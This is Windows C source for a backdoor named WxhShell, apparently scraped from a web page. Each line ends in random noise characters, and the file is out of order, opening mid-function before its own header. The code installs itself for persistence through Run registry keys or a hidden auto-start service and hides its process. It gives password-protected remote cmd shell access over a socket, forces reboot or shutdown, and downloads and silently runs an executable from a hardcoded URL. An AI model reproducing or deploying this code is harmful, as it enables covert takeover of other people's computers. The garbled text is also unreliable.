    ExitThread(0); >R! jB]5  
    } 1sdLDw_)p  
    break; FXN/Yq  
    } ><$d$(  
  // 关机 6@0OQb  
  case 'd': { "z=SO1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]cMqahaY  
    if(Boot(SHUTDOWN)) 4 bH^":i(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~C`^6UQr/?  
    else { doy`C)xI  
    closesocket(wsh); t+iHQfuP9A  
    ExitThread(0); `Kr,>sEAM  
    } D(RTVef  
    break; 5BKt1%Pg  
    } #& Rw&  
  // 获取shell 91  g2A|  
  case 's': { m(#LhlX  
    CmdShell(wsh); c>RFdc:U  
    closesocket(wsh); '*w00  
    ExitThread(0); kep/+J-u  
    break; j=aI9p  
  } 'JfdV%M  
  // 退出 lP@Ki5  
  case 'x': { pd;br8yE$@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R$TB1w9]  
    CloseIt(wsh); QpA/SmJ  
    break; 71gT.E  
    } t@N=kV  
  // 离开 -w_QJ_z_  
  case 'q': { Xudg2t)+K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _p&]|~a  
    closesocket(wsh); FrYqaP  
    WSACleanup(); D\s WZ  
    exit(1); Oz`BEyb]{  
    break; Md2>3-  
        } sy"^?th}b  
  } au=o6WRa  
  } }O^zl#  
U\;6mK)M^J  
  // 提示信息 ,J>5:ht(6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *q".-u!D[  
} TDNQu_E  
  } OJ$]V,Z00x  
uv(Sdiir8  
  return; 4K\(xd&Q  
} FCuB\ Q  
O#k6' LN?  
// shell模块句柄 S=nzw-(I  
int CmdShell(SOCKET sock)  @zz1hU  
{ r1L ViK  
STARTUPINFO si; fhp<oe>D  
ZeroMemory(&si,sizeof(si)); qI<mjB{3`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #=f?0UTA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >wBJy4:  
PROCESS_INFORMATION ProcessInfo; V=V:SlS9|  
char cmdline[]="cmd"; M&U j^K1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3]UUG  
  return 0; ^!z [t\$  
} 7C ,UDp|  
{v2|g  
// 自身启动模式 xJZ>uTN  
int StartFromService(void) A"D,Kg S  
{ ;Q[mL(1:  
typedef struct u r@Z|5  
{ >W`4aA  
  DWORD ExitStatus; g(J&m< I  
  DWORD PebBaseAddress; 7`8Ik`lY  
  DWORD AffinityMask; BT"42#7_  
  DWORD BasePriority; ,o,I5>`  
  ULONG UniqueProcessId; h{p=WWK  
  ULONG InheritedFromUniqueProcessId; 0B@Jity#!  
}   PROCESS_BASIC_INFORMATION; Qj6/[mUr~  
R>"OXFaE  
PROCNTQSIP NtQueryInformationProcess; y+6o{`0  
Kt|1&Gk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /_Z652@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4NG?_D5&  
iN0nw]_*  
  HANDLE             hProcess; mPP`xL?T  
  PROCESS_BASIC_INFORMATION pbi; (RZD'U/B  
1u(.T0j7f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HnCzbt@  
  if(NULL == hInst ) return 0; xz{IH,?IG  
_Bp1co85MQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x61U[/r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H;fxxu`cS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V6#K2  
S'B|>!z@  
  if (!NtQueryInformationProcess) return 0; Y +\%  
y K2^Y]Ku?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '@CR\5 @  
  if(!hProcess) return 0; >Ll$p 0W  
 n>`as  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g9WGkH F  
Ch%m  
  CloseHandle(hProcess); 0,rTdjH7  
!G}+E2fDA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H0R&2#YD  
if(hProcess==NULL) return 0; 0`A~HH}  
S^<g_ q  
HMODULE hMod; |7pR)KH3  
char procName[255]; $aPfGZ<i  
unsigned long cbNeeded; -x4X O`b  
0,Y5KE{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AT)a :i  
{$^DMANDx  
  CloseHandle(hProcess); gzD@cx?V  
0 Ir<y  
if(strstr(procName,"services")) return 1; // 以服务启动 Gkxj?)`  
;6{@^  
  return 0; // 注册表启动 N**g]T 0`  
} p6XtTx  
]a3iEA2 (  
// 主模块 #I3$3^0i#  
int StartWxhshell(LPSTR lpCmdLine) u@%r  
{ [wB9s{CX  
  SOCKET wsl; (V%`k'N7f  
BOOL val=TRUE; l-$uHHyu*  
  int port=0; |xvy')(b  
  struct sockaddr_in door; b (I2m  
Q;J`Q wkH  
  if(wscfg.ws_autoins) Install(); 6q6FB  
eBO@7F$  
port=atoi(lpCmdLine); z>06hBv(?Y  
"AhTH.ZP  
if(port<=0) port=wscfg.ws_port; G>+1*\c  
NAzX". g  
  WSADATA data; k') E/n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FG!X"<he  
#vqo -y7@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ([V V%ovZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lM[XS4/TRa  
  door.sin_family = AF_INET; wB{;bB{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /Y2/!mU</  
  door.sin_port = htons(port); F[!ckes<bB  
3u\;j; Td!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `3'0I/d"z  
closesocket(wsl); ]}6w#)]"  
return 1; FHPXu59u  
} oo$MWN8a>r  
*VkgQ`c  
  if(listen(wsl,2) == INVALID_SOCKET) { q(5+xSg"gK  
closesocket(wsl); A[YpcG'9  
return 1; N9rBW   
} [|3>MZ2/  
  Wxhshell(wsl); Zf>^4_x3P  
  WSACleanup(); (?b@b[D~4  
A;u"<KG?  
return 0; 5]1h8PW!Y  
pBC<u  
} h`}3h< 8  
lRP1&FH0  
// 以NT服务方式启动 [!VOw@uz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P~FUS%39"o  
{ **[Z^$)u(  
DWORD   status = 0; Bz`yfl2  
  DWORD   specificError = 0xfffffff; l**;k+hw  
:` $@}GI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <[/%{sUNC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PZD>U)M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #9LzY  
  serviceStatus.dwWin32ExitCode     = 0; H2-28XGc  
  serviceStatus.dwServiceSpecificExitCode = 0; B )JM%r  
  serviceStatus.dwCheckPoint       = 0; ~H}en6Rc  
  serviceStatus.dwWaitHint       = 0; VZIR4J[\.  
)hj|{h7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GW2')}g  
  if (hServiceStatusHandle==0) return; 1[;@AE2Y  
YO:&;K%  
status = GetLastError(); jec:i-,  
  if (status!=NO_ERROR) `4CWE_k  
{ V8z`qEPM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7e&\{*  
    serviceStatus.dwCheckPoint       = 0; vVs#^"-nW  
    serviceStatus.dwWaitHint       = 0; /LQ:Sv7  
    serviceStatus.dwWin32ExitCode     = status; $YG1z  
    serviceStatus.dwServiceSpecificExitCode = specificError; zG c[Z3N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?&l)W~S  
    return; 7nHTlI1 b  
  } g9my=gY  
4rU! 4l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G7* h{nE  
  serviceStatus.dwCheckPoint       = 0; em]xtya  
  serviceStatus.dwWaitHint       = 0; &4$oudn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WO,xMfK  
} [ev-^[  
u>Ki$xP1  
// 处理NT服务事件,比如:启动、停止 ZZ)G5ji  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  9|S`ub'  
{ "L2m-e6  
switch(fdwControl) ;' e@t8i6  
{ czBi Dk4  
case SERVICE_CONTROL_STOP: ]5v:5:H  
  serviceStatus.dwWin32ExitCode = 0; #cwCocw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Nl8 gK{  
  serviceStatus.dwCheckPoint   = 0; /CT(k1>  
  serviceStatus.dwWaitHint     = 0; ZcryAm:I  
  { $~'Tf>e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Cci:Lin  
  } O(OmGu4%  
  return; y?N Nz0  
case SERVICE_CONTROL_PAUSE: LN!W(n(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /b.oEGqZX  
  break; Y&'8VdW  
case SERVICE_CONTROL_CONTINUE: 8 HoP( +?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qvLDfN  
  break; i|\{\d  
case SERVICE_CONTROL_INTERROGATE: a]VGUW-  
  break; $<ddy/4  
}; GF--riyfB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iY.eJlfH  
} KC&`x |  
+|C[-W7Sw  
// 标准应用程序主函数 :J(sXKr[C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @PcCiGZ  
{ nJVp.*S  
MMD<I6Iyv  
// 获取操作系统版本 zd`=Ih2Wx  
OsIsNt=GetOsVer(); Gz dgL"M[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .T3=Eq&"W  
Z%v6xP.  
  // 从命令行安装 jFj~]]j  
  if(strpbrk(lpCmdLine,"iI")) Install(); D&[Z;,CHMA  
[{PqV):p  
  // 下载执行文件 E5B8 Z?$a  
if(wscfg.ws_downexe) { H(\V+@~>AD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }#b %"I0  
  WinExec(wscfg.ws_filenam,SW_HIDE); b4~H3|  
} H,>#|F  
'H=weH  
if(!OsIsNt) { KP~-$NR  
// 如果时win9x,隐藏进程并且设置为注册表启动 !.+"4TF  
HideProc(); J`Oy.Qu)  
StartWxhshell(lpCmdLine); cztS]dcf>~  
} w6EI{  
else 3%M.U)|+  
  if(StartFromService()) ]M4NpU M  
  // 以服务方式启动 ~Ob8i1S>  
  StartServiceCtrlDispatcher(DispatchTable); :k1$g+(lP  
else Z! YpklZ?~  
  // 普通方式启动 iUNnPJh  
  StartWxhshell(lpCmdLine); 5a$$95oL  
#O</\|aH)i  
return 0; !s-/0ugZ  
} A! ;meVUs  
MCAXt1sL&E  
B/Ba5z"r$  
qWB%),`j>  
=========================================== q 22/_nSC  
%}F"*.  
xzK>Xi?  
W#45a.v  
 6`"ZsO  
4!2SS  
" *o|p)lH  
sfC@*Y2XT  
#include <stdio.h> ;Prg'R[o;  
#include <string.h> 2k3 z'RLG  
#include <windows.h> FR'b`Xv:  
#include <winsock2.h> s, -*q}  
#include <winsvc.h> EVSK8T,  
#include <urlmon.h> |!5@xs*T  
4qBY% 1  
#pragma comment (lib, "Ws2_32.lib") /.-m}0h|W-  
#pragma comment (lib, "urlmon.lib") aL$j/SC  
B*Cb6'Q  
#define MAX_USER   100 // 最大客户端连接数 4sd-zl$Of  
#define BUF_SOCK   200 // sock buffer U$$3'n  
#define KEY_BUFF   255 // 输入 buffer 8D T@h8tA  
?zE<  
#define REBOOT     0   // 重启 u<q)SQ1  
#define SHUTDOWN   1   // 关机 jf7pl8gv  
Y\>\[*.v  
#define DEF_PORT   5000 // 监听端口 !47A$sQ  
'WzUu MCx  
#define REG_LEN     16   // 注册表键长度 ;8EjjF [>  
#define SVC_LEN     80   // NT服务名长度 ) ]]|d  
U$EM.ot  
// 从dll定义API <tQXK;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 83xd@-czgh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z9fNk%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n8?KSQy$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hf.xd.Yw  
s'AQUUrb <  
// wxhshell配置信息 D`fc7m  
struct WSCFG { Wbs^(iUU}  
  int ws_port;         // 监听端口 9rWLE6 `  
  char ws_passstr[REG_LEN]; // 口令 *lY+Yy(  
  int ws_autoins;       // 安装标记, 1=yes 0=no cqHw^{'8  
  char ws_regname[REG_LEN]; // 注册表键名 vK`S!7x'&  
  char ws_svcname[REG_LEN]; // 服务名 I tgH>L'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qf~| S9,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;y ,NC2Xj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qasr:p+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ujNt(7Cz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vF+YgQ1H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t*rp3BIG  
EUXV/QV{  
}; iGyVG41U  
ec`>KuY  
// default Wxhshell configuration 8ipW3~-4  
struct WSCFG wscfg={DEF_PORT, z,os MS  
    "xuhuanlingzhe", 9`,,%vdj  
    1, C*]AL/  
    "Wxhshell", ,FS?"Ni  
    "Wxhshell", T*p|'Q`  
            "WxhShell Service", _dY:)%[]  
    "Wrsky Windows CmdShell Service", &?v#| qIh  
    "Please Input Your Password: ", v6KL93  
  1, C,R,:zR  
  "http://www.wrsky.com/wxhshell.exe", \c FAxL(  
  "Wxhshell.exe" #VQ36pCd  
    }; ! 7Nn ]Lx  
/;b.-v&  
// 消息定义模块 x1:vUHwC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lW&[mnR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6WCmp,*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KdS eCeddW  
char *msg_ws_ext="\n\rExit."; H.)fO ctbO  
char *msg_ws_end="\n\rQuit."; IS .g);Gj  
char *msg_ws_boot="\n\rReboot..."; t0+t9w/fTP  
char *msg_ws_poff="\n\rShutdown..."; @],Z 2  
char *msg_ws_down="\n\rSave to "; `2sdZ/fO  
.k p $oAL  
char *msg_ws_err="\n\rErr!"; ^]KIgGv\  
char *msg_ws_ok="\n\rOK!"; *j/ uihY  
M44_us  
char ExeFile[MAX_PATH]; ?TRW"%  
int nUser = 0; mMga"I9  
HANDLE handles[MAX_USER]; MyK^i2eD  
int OsIsNt; -Zttj/K  
G|<]Ma9x  
SERVICE_STATUS       serviceStatus; |F3vRt@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EmYO5Whi  
_dz +2au  
// 函数声明 $/MY,:*e  
int Install(void); GsR-#tV@  
int Uninstall(void); a\.//?  
int DownloadFile(char *sURL, SOCKET wsh); @ 8A{ 9i  
int Boot(int flag); Hu[8HzJo  
void HideProc(void); r .{rNR  
int GetOsVer(void); u;$I{b@M]  
int Wxhshell(SOCKET wsl); }FuVY><l  
void TalkWithClient(void *cs); v4X_v!CQ  
int CmdShell(SOCKET sock); _QD/!~O  
int StartFromService(void); yIM.j;5:~5  
int StartWxhshell(LPSTR lpCmdLine); yl[2et  
b;SFI^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YL; SxLY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6R0D3kW  
YNuewD  
// 数据结构和表定义 1VRqz5  
SERVICE_TABLE_ENTRY DispatchTable[] = [B.W1 GL!  
{ Y=PzN3  
{wscfg.ws_svcname, NTServiceMain}, oM/B.U2a  
{NULL, NULL} kOo>Iy  
}; -t;?P2  
\CP*i_:"  
// 自我安装 Oz_b3r  
int Install(void) B/kcb(5v  
{ 7)g;Wd+H  
  char svExeFile[MAX_PATH]; Iwnj'R7:  
  HKEY key; `#-p,NElV  
  strcpy(svExeFile,ExeFile); -Pv P  
,^UcRZ8.H  
// 如果是win9x系统,修改注册表设为自启动 bEBZ!ghU  
if(!OsIsNt) { Fmy1nZ   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?*B;514  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )G}sb*+v?  
  RegCloseKey(key); 8 ))I$+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ir'DA_..  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Cc$eR]-  
  RegCloseKey(key); O e0KAn  
  return 0; OJh+[bf"  
    } w@<<zItSo  
  } {"qW~S90YO  
} V3aY]#Su  
else { B3ohHxHu  
!pE>O-| K  
// 如果是NT以上系统,安装为系统服务 q8&4=eV\A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H620vlC}V  
if (schSCManager!=0) D/+@d:-G  
{ T\<M?`Y  
  SC_HANDLE schService = CreateService NB~*sP-l&  
  ( p{('KE)  
  schSCManager, Br_3qJNVP  
  wscfg.ws_svcname, 2b{@]Fp  
  wscfg.ws_svcdisp, ylo]`Nq  
  SERVICE_ALL_ACCESS, roK4RYJ7)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AX!Md:s  
  SERVICE_AUTO_START, /3xFd)|Ds  
  SERVICE_ERROR_NORMAL, 2gK p\!  
  svExeFile, BV_a-\Sa=  
  NULL, #d7)$ub  
  NULL, zIX}[l4EW~  
  NULL, SLbavP#G  
  NULL,  |V*e2w  
  NULL )wyu+_:  
  ); N^@%qUvT]  
  if (schService!=0) {|t?   
  { 1tuator  
  CloseServiceHandle(schService); 4AG&z,[  
  CloseServiceHandle(schSCManager); [qc6Q:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z{<q0.^EFh  
  strcat(svExeFile,wscfg.ws_svcname); Lx4H/[$6D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 72B zvY.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +4p2KYO  
  RegCloseKey(key); lcuH]z  
  return 0; {Hrr:hC  
    } OP\^c  
  } O~c+$(  
  CloseServiceHandle(schSCManager); tPMg Z  
} 0|f_C3  
} Mz% d_  
]xVL11p  
return 1; SO8|]Fk  
} *o2_EqXL*  
GtGyY0  
// 自我卸载 k_.j%  
int Uninstall(void) tL|L"t_5x  
{ p]J]<QaZD  
  HKEY key; MXu+I,y*  
E(L^hZMc  
if(!OsIsNt) { ] "7El;2z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v@<lEG#$"|  
  RegDeleteValue(key,wscfg.ws_regname); Y }g6IK}  
  RegCloseKey(key); P89Dg/P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :W1tIB  
  RegDeleteValue(key,wscfg.ws_regname); )GF  
  RegCloseKey(key); 07E".T%Ts  
  return 0; _ 3-,3ia  
  } RvZryA*vu  
} 'ra_Zg[j  
} OHXeqjhy  
else { `04Y ;@w  
YC+ZVp"v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); //@sktHsw(  
if (schSCManager!=0) (kD?},Z  
{ b~N|DKj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )l/C_WEK  
  if (schService!=0) p-ii($~ }  
  { {U2| ):  
  if(DeleteService(schService)!=0) { ]'z ^Kt5S  
  CloseServiceHandle(schService); fjzr8vU}C  
  CloseServiceHandle(schSCManager); zv3<i (  
  return 0; 4<!}4   
  } yO69p  
  CloseServiceHandle(schService); Zzzi\5&gU  
  } TBLk+AR  
  CloseServiceHandle(schSCManager); ;/]c^y  
} u9[w~U#  
} n ;$}pg ~  
pRyS8'  
return 1; ::h02,y;1%  
} =,1zl}PR  
5w-G]b  
// 从指定url下载文件 I.n{ "=$B@  
int DownloadFile(char *sURL, SOCKET wsh) S4AB tKG  
{ ZYp-dlEXq  
  HRESULT hr; hgMnO J  
char seps[]= "/"; .<|4PG  
char *token; Y$DgL h  
char *file; *1 eTf  
char myURL[MAX_PATH]; '3kL=(  
char myFILE[MAX_PATH]; -V)5Tr=  
?f%DVK d  
strcpy(myURL,sURL); $f@-3/V6{  
  token=strtok(myURL,seps); ?&t|?@  
  while(token!=NULL) M<me\s)  
  { Y3F.hk}O  
    file=token; 41_sSqq;^  
  token=strtok(NULL,seps); Tx&qp#FS  
  } #._6lESK  
]k%KTvX*G  
GetCurrentDirectory(MAX_PATH,myFILE); pJ@DHj2@  
strcat(myFILE, "\\"); ?. 'oxW  
strcat(myFILE, file); R^w >aZ oJ  
  send(wsh,myFILE,strlen(myFILE),0); ?VHwYD.B  
send(wsh,"...",3,0); 5v03<m0`y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AhFI, x  
  if(hr==S_OK) B7^n30+L  
return 0; h4xf%vA(;  
else %EhU!K#[  
return 1; )#TJw@dNf^  
?&bVe__  
} 0}3'h#33=  
hdWp  
// 系统电源模块 g 0_r  
int Boot(int flag) \< +47+  
{ pHbguoH,  
  HANDLE hToken; 3lEU$)QA3  
  TOKEN_PRIVILEGES tkp; x)Om[jZE  
5~TA(cb5  
  if(OsIsNt) { N`^W*>XB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KPvYq?F>4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _1bd)L&dF  
    tkp.PrivilegeCount = 1; Bd]DhPhJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XhkL)) FcG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (E]K)d  
if(flag==REBOOT) { IpVwnNj!}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [A/+tv  
  return 0; #1lS\!  
} ;eSf4_~  
else { 761"S@tf$}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )ejqE6'[  
  return 0; SNV+.xN  
} gKH"f%lK  
  } GHrT?zEX  
  else { I&@@v\$*  
if(flag==REBOOT) { @G-k]IWi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y:Tt$EQ  
  return 0; :jp$X|  
} "S} hcAL/  
else { +mF 2yh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aD`e]K ^L  
  return 0; zU=[Kc=$  
} +4vX+;: br  
} &(1NOyX&  
G U/k^ Qy  
return 1; NjMLq|X  
} 4o8HEq!  
M L_J<|,J  
// win9x进程隐藏模块 ;SP3nU))  
void HideProc(void) ZQ8Aak  
{ Y2$`o4*3  
5rSth.&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B_G7F[/K  
  if ( hKernel != NULL ) QU;C*}0Zl  
  { ~Q\uP(!D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); { J%$.D(/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DcM+K@1E4^  
    FreeLibrary(hKernel); R')GQ.yYq  
  } +*~3"ww<  
87*[o  
return; `Wt~6D e  
} Z ' 96d  
<qiap2  
// 获取操作系统版本 enepAu-="p  
int GetOsVer(void) O!yn `< l  
{ ^^(ZK 6d  
  OSVERSIONINFO winfo; _!Q\Xn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -$p-o Z)  
  GetVersionEx(&winfo); a{6|[a R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U9OF0=g  
  return 1; (G;*B<|A  
  else R-|]GqS}L  
  return 0; P"VLGa  
} 4r!40^:2  
FNO lR>0e  
// 客户端句柄模块 7q1l9:VYE  
int Wxhshell(SOCKET wsl) |pg5m*h  
{ xef7mx  
  SOCKET wsh; ,4$J|^T&  
  struct sockaddr_in client; CK#PxT?"  
  DWORD myID; zW&W`(  
^(B*AE.  
  while(nUser<MAX_USER) "61n?Z#,M[  
{ sZ$ ~abX  
  int nSize=sizeof(client); 8=Ht+Br  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6lFsN2  
  if(wsh==INVALID_SOCKET) return 1; K6Ua~N^  
>,1LBM|0u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y5 pNKL  
if(handles[nUser]==0) {1c eF  
  closesocket(wsh); (9%%^s]uPT  
else 0:S)2"I58p  
  nUser++; ^9E(8DD  
  } !(o2K!v0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D/>5\da+y  
a-=apD1RvG  
  return 0; w+D5a VJ  
} |U0@(H  
9_$Odc%]  
// 关闭 socket `Nr7N#g+u  
void CloseIt(SOCKET wsh) Qgi:q  
{ "+_0idpF  
closesocket(wsh); tx-bzLo\  
nUser--; ;I' ["k%  
ExitThread(0); /y@iaptC  
} ,B!Qv3bn  
Ss}0.5Bq  
// 客户端请求句柄 b@Cvs4  
void TalkWithClient(void *cs) 8tk`1E8!j  
{ HDxw2nz*R  
&*SnDuc  
  SOCKET wsh=(SOCKET)cs; !ZdUW]  
  char pwd[SVC_LEN]; p:))ne:7  
  char cmd[KEY_BUFF]; 2 {0VyLx  
char chr[1]; ,|/$|$'  
int i,j; omu&:) g  
o~ed0>D-LS  
  while (nUser < MAX_USER) { "f+2_8%s+  
\x}UjHYIc&  
if(wscfg.ws_passstr) { GC2<K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QJ?!_2Ax  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); st>t~a|T  
  //ZeroMemory(pwd,KEY_BUFF); =uTV\)  
      i=0; J>Ha$1}u/  
  while(i<SVC_LEN) { x.Y,]wis  
Qa+gtGtJ  
  // 设置超时 UQ?8dw:E~  
  fd_set FdRead; p,/^x~m3a  
  struct timeval TimeOut; bHM .&4G  
  FD_ZERO(&FdRead); yuB BO:\.  
  FD_SET(wsh,&FdRead); }vIm C [  
  TimeOut.tv_sec=8; .}wir,  
  TimeOut.tv_usec=0; !NtY4O/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m~A/.t%=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t=#)3C`Q}  
I 3PnyNZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PHkvt!uH  
  pwd=chr[0]; "AVc^>  
  if(chr[0]==0xd || chr[0]==0xa) { !T)>q%@ai  
  pwd=0; o6oYJ`PY  
  break; NGu]|p  
  } e ^QOn  
  i++; 25r=Xv  
    } TPuzL(ws  
C'#:}]@E  
  // 如果是非法用户,关闭 socket kLP^q+$u)!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sBMHf9u  
} ej `$-hBBV  
t~Ax#H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &XP 0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "-sz7}Mb  
$9/r*@bu8d  
while(1) { $}@l l^  
Yc}b&  
  ZeroMemory(cmd,KEY_BUFF); \T?O.  
;Xns9  
      // 自动支持客户端 telnet标准   tti.-  
  j=0; $6N. ykJ  
  while(j<KEY_BUFF) { +]X^bB[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yI)2:Ca*  
  cmd[j]=chr[0]; v*pVcBY>  
  if(chr[0]==0xa || chr[0]==0xd) { 9viC3bj.o  
  cmd[j]=0; "rtmDNpL  
  break; sXTO`W/  
  } H{8\<E:V+}  
  j++; I5mS!m/X  
    } -oj@ c OZ  
;_!;D#:  
  // 下载文件 $si2H8  
  if(strstr(cmd,"http://")) { QXCI+Fcg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5ym =2U  
  if(DownloadFile(cmd,wsh)) UT-=5  
